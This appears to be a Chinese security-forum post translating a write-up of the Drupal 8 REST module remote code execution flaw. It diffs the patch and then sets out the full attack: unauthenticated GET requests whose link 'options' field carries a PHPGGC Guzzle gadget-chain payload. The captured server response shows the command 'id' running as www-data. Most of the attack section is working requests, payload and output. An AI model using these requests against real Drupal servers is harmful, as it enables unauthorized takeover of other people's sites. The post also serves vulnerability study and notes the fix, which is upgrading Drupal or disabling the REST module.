Drupal 8 REST RCE

惊鸿一瞥最是珍贵 / 2019-03-03 09:19:00 / 浏览数 1232 安全技术 漏洞分析 顶(0) 踩(0)

Drupal8's REST RCE 漏洞利用

Drupal中再次被曝出存在远程代码执行漏洞，漏洞的位置位于Drupal8的REST模块，该模块在默认情况下是禁用的。通过使用Drupal提供的补丁，我们能够有效地利用漏洞

分析

Drupal的建议相当明确地说明了罪魁祸首：REST模块（如果启用）允许任意代码执行。Drupal表明启用PATCH或POST请求是很有风险的，但即使在REST配置中禁用了PO
/ PATCH请求，RCE也可以通过GET请求触发，并且无需任何类型的身份验证。
因此，"禁用web服务商的PUT/PATCH/POST请求"是非常片面的建议，不能有效地保护该漏洞。升级Drupal或禁用REST模块是唯一的解决方案。

Standard REST behaviour...

默认情况下，在启用REST模块时启用`/node/{id}` API。
Drupal的REST文档提供了一个编辑节点的简单示例：

```
POST /drupal-8.6.9/node/1?_format=hal_json HTTP/1.1
Host: 192.168.56.101
Content-Type: application/hal+json
Content-Length: 286

{
 "_links": {
   "type": {
     "href": "http://192.168.56.101/drupal-8.6.9/rest/type/node/article"
   }
 },
 "type": {
     "target_id": "article"
 },
 "title": {
     "value": "My Article"
 },
 "body": {
     "value": "some body content aaa bbb ccc"
 }
}
```

Drupal为node对象创建属性title、type和body。实际上，Drupal可以对任何`ContentEntityBase`对象进行`json`反序列化。
由于我们没有经过身份验证，所以请求失败。

unexpected behaviour

然而，将`POST`更改为`GET`，并发送无效`href`值，如下所示：

```
GET /drupal-8.6.9/node/3?_format=hal_json HTTP/1.1
Host: 192.168.56.101
Content-Type: application/hal+json
Content-Length: 287

{
 "_links": {
   "type": {
     "href": "http://192.168.56.101/drupal-8.6.9/rest/type/node/INVALID_VALUE"
   }
 },
 "type": {
     "target_id": "article"
 },
 "title": {
     "value": "My Article"
 },
```

```
 "body": {
     "value": "some body content aaa bbb ccc"
 }
}
```

得到：

```
HTTP/1.1 422 Unprocessable Entity
{"message":"Type http:\/\/192.168.56.101\/drupal-8.6.9\/rest\/type\/node\/INVALID_VALUE does not correspond to an entity on th
```

这表明通过未经身份验证的GET请求，数据会被处理。

分析补丁

通过对比Drupal
8.6.9和8.6.10，我们发现在REST模块中，`FieldItemNormalizer`现在使用了一个新的traitSerializedColumnNormalizerTrait。此trait提供checkForSerialize
`['allowed_classes' => FALSE]);`而不是标准`unserialize($values['options']);`。
对于所有的`FieldItemBase`子类，`LinkItem`引用一个属性类型。

触发unserialize()

利用这些元素，触发unserialize相当容易：

```
GET /drupal-8.6.9/node/1?_format=hal_json HTTP/1.1
Host: 192.168.1.25
Content-Type: application/hal+json
Content-Length: 642

{
 "link": [
   {
     "value": "link",
     "options": "<SERIALIZED_CONTENT>"
   }
 ],
 "_links": {
   "type": {
     "href": "http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default"
   }
 }
}
```

由于Drupal 8使用Guzzle，我们可以使用PHPGGC生成payload：

```
$ ./phpggc guzzle/rce1 system id --json
"O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:2
```

我们现在可以通过GET发送payload：

```
GET /drupal-8.6.9/node/1?_format=hal_json HTTP/1.1
Host: 192.168.1.25
Content-Type: application/hal+json
Content-Length: 642

{
 "link": [
   {
     "value": "link",
     "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"clos
   }
 ],
 "_links": {
   "type": {
     "href": "http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default"
   }
 }
}
```

Drupal响应：

```
HTTP/1.1 200 OK
Link: <...>
X-Generator: Drupal 8 (https://www.drupal.org)
X-Drupal-Cache: MISS
Connection: close
Content-Type: application/hal+json
Content-Length: 9012

{...}uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

注意：Drupal缓存响应：如果您在测试环境中，请清除缓存。

以上。

```
https://www.ambionics.io/blog/drupal8-rce
```


上一篇：如何滥用Access Tokens... 下一篇：记一次特洛伊木马实战分析

1. 0 条回复
   - 动动手指，沙发就是你的了！